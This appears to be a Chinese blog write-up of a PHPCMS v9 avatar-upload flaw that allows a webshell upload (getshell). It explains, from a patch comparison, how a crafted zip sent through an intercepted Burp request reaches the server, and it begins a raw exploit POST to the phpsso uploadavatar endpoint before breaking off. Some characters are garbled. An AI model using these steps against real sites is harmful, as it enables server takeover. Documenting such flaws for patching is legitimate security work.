phpcms 会员头像h5上传_phpcms v9前台会员中心上传头像可getshell及修复

这个算杂记吧。难得老衲??乱淮巍Ｗ羁?际?1月27号，突然看到一枚补丁。说是前台上传头像可getshell.立马被吸引住了。通过两份补丁的对比，发现在处理压缩包的过程中出现了一段删除当前文件夹下的全部文件夹。然后就菊花一紧。通过通读代码，发现上传的过程是

用户上传头像---通过flash里面的js把当前的头像处理成三张不同的格式，然后压缩

用户点击保存的时候把当前的压缩包直接上传的解包的位置，然后把图像释放出来。然后删除临时文件

利用过程就出来了，上传图片，然后在点击保存的时候进行抓包。然后发送的内容为自己的。

常用的就是burp，把包的内容给清理掉.替换为自己的，构造包的内容为带文件夹的。然后上传就可以了。

1:利用过程

头像上传

POST /coder/phpcms/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=dc64BlNRU1UCCAkCVVpUBgcHCVIHUFdTVVZRCVcUD1RfBRBGED4CEEZQZlkAQVxdEjVsVRJVB0MOKn4JUTEPBTQFDlVXLAocQG9SUQlzJA HTTP/1.1

Host: w

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn,zh;q=